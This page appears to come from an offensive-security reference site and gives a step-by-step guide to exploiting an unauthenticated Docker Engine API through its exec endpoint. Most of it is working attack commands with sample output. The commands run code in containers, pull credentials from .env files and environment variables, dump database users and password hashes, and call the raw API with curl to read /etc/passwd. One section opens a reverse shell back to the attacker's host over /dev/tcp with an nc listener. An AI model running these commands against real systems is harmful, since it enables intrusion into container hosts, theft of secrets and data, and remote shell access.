# Docker API RCE via Exec

- **URL:** https://hackindex.io/services/docker-api/exploitation/docker-api-rce-via-exec
- **Path:** Docker API > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/docker-api/exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-08-12

When running containers are present on the target, the Docker API exec endpoint enables executing arbitrary commands inside them without any additional authentication. This is useful when the container holds application secrets, database access, or internal service connectivity that is not directly reachable from outside. Container exec is also a stepping stone when the host filesystem mount approach is blocked by AppArmor or other controls: exec into an existing privileged container gives the same outcome. Confirm running containers through [Docker API service detection](https://hackindex.io/services/docker-api/enumeration/docker-api-service-detection) first.

The exec endpoint requires no authentication on its own. Any client that can reach port 2375 can create and start exec instances. If the API is TLS-protected on 2376 and you have obtained the client certificates, the same workflow applies. The key prerequisite is at least one running container. A host with only stopped containers cannot be exploited this way without first starting one, which requires write access and is a separate step.

- Execute Commands in a Running Container
- Non-Interactive Command Execution
- Access Internal Services via Container Network
- Get a Reverse Shell from Inside a Container
- Exec via Raw API: Without Docker CLI

## Execute Commands in a Running Container

The `CONTAINER ID` and `NAMES` columns are what you need. The name targets exec commands directly. Check the `IMAGE` column to identify what tools are available inside: a `mysql` image has the MySQL client, an `nginx` image has bash but not necessarily curl. Containers based on generic images like `ubuntu` or `debian` are the most flexible targets. Look for containers whose names suggest application roles: web servers, workers, and schedulers often hold credentials for downstream services.

```bash
export DOCKER_HOST=tcp://$TARGET_IP:2375
# List running containers
docker ps --format 'table {{.ID}}\t{{.Names}}\t{{.Image}}'
# CONTAINER ID   NAMES     IMAGE
# a1b2c3d4e5f6   webapp    nginx:latest
# b2c3d4e5f6a7   db        mysql:8.0
```

```bash
docker exec -it webapp /bin/bash
# root@a1b2c3d4e5f6:/var/www/html#
```

## Non-Interactive Command Execution

For scripted extraction without an interactive shell, pipe the output directly or redirect it. The `.env` file is the highest-value target in any web application container. It almost always contains database credentials, API keys, and the application secret key. After extracting credentials, check what other services are reachable from inside the container by examining environment variables. Many frameworks inject the connection string for every linked service as an environment variable at container start.

The `grep -iE` pattern covers the most common naming conventions. Add `token|api|auth` if the application uses non-standard naming. If a variable returns empty output from a specific container, the process may not have that variable in its environment even if it was set at start time. Compare against `docker inspect $cid --format '{{range .Config.Env}}{{println .}}{{end}}'` to see what was configured versus what the process actually has.

```bash
docker exec webapp cat /var/www/html/.env 2>/dev/null
# DB_HOST=db
# DB_DATABASE=webapp
# DB_USERNAME=webapp_user
# DB_PASSWORD=WebAppP@ss!
# APP_KEY=base64:abc123==
```

```bash
# Dump all environment variables from all running containers
for cid in $(docker ps -q); do
  echo "=== $(docker inspect $cid --format '{{.Name}}') ==="
  docker exec $cid env 2>/dev/null | grep -iE 'password|secret|key|token'
done
# === /webapp ===
# DB_PASSWORD=WebAppP@ss!
# SECRET_KEY=django-insecure-abc123
# === /db ===
# MYSQL_ROOT_PASSWORD=r00tP@ssword!
```

## Access Internal Services via Container Network

Containers on the same Docker network can reach each other by service name. From inside the webapp container, the database is reachable at its container name. Docker internal DNS resolves container names to their internal IP addresses. This bypasses any external firewall or network policy that blocks direct access to the database port from outside. If the database listens only on the internal Docker network, this exec pivot is the only way to reach it without additional network tunneling.

After dumping credentials or data, check `/etc/hosts` inside the container for other reachable hosts. Run `env | grep -i host` to find injected service endpoints. Look for Redis, Elasticsearch, or message broker addresses that may accept connections without authentication on the internal network. Not all containers have a MySQL client: if the binary is missing, drop a static binary via `docker exec` or pivot through a container that already has the client installed.

```bash
docker exec webapp mysql -h db -u root -pr00tP@ssword! -e 'show databases;'
# Database
# information_schema
# webapp
# mysql
```

```bash
docker exec webapp mysql -h db -u root -pr00tP@ssword! webapp -e 'select username, password from users limit 10;'
# username    password
# admin       $2y$10$hashedpassword...
# john.smith  $2y$10$hashedpassword2...
```

## Get a Reverse Shell from Inside a Container

Not all containers have `bash`. If the reverse shell fails, try `/bin/sh` instead. Many minimal images based on Alpine use `ash` rather than bash. If no shell is available, use `docker exec` to drop a small static binary such as a precompiled busybox shell. The reverse shell runs as whatever user the container process runs as, which is often root inside the container. Root inside an unprivileged container does not give host root, but it gives full access to the container filesystem and all secrets mounted into it. If the container is privileged, the path to host escape is straightforward via the host filesystem mount technique covered in a separate page.

```bash
nc -lvnp $LPORT &
docker exec webapp bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
```

## Exec via Raw API: Without Docker CLI

The exec flow via raw API requires three requests: create the exec instance, start it, and read the output. Use this approach when the Docker CLI is not available on your attacker machine or when working through a limited shell that cannot run docker commands. The raw API also works through HTTP proxies and is easier to chain into automated exploitation scripts.

The response from the start call uses Docker's multiplexed stream format: output lines are prefixed with an 8-byte header indicating stream type and payload length. The `strings` filter strips those headers so the output is readable. If you need exact byte-for-byte output, parse the multiplexed format properly or redirect output to a file inside the container and retrieve it with a second exec call. Commands that exit non-zero still create the exec instance successfully: check the exit code via `/exec/$EXEC_ID/json` if the result is ambiguous.

```bash
# Step 1: create exec instance
EXEC_ID=$(curl -sk -X POST http://$TARGET_IP:2375/containers/webapp/exec \
  -H 'Content-Type: application/json' \
  -d '{"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/etc/passwd"]}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["Id"])')
echo $EXEC_ID
# e1f2a3b4c5d6...
```

```bash
# Step 2: start exec and read output
curl -sk -X POST http://$TARGET_IP:2375/exec/$EXEC_ID/start \
  -H 'Content-Type: application/json' \
  -d '{"Detach":false}' | strings
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

## References

- [Docker Engine API: Exec](https://docs.docker.com/engine/api/v1.41/#tag/Exec) - Container exec create and start endpoint reference
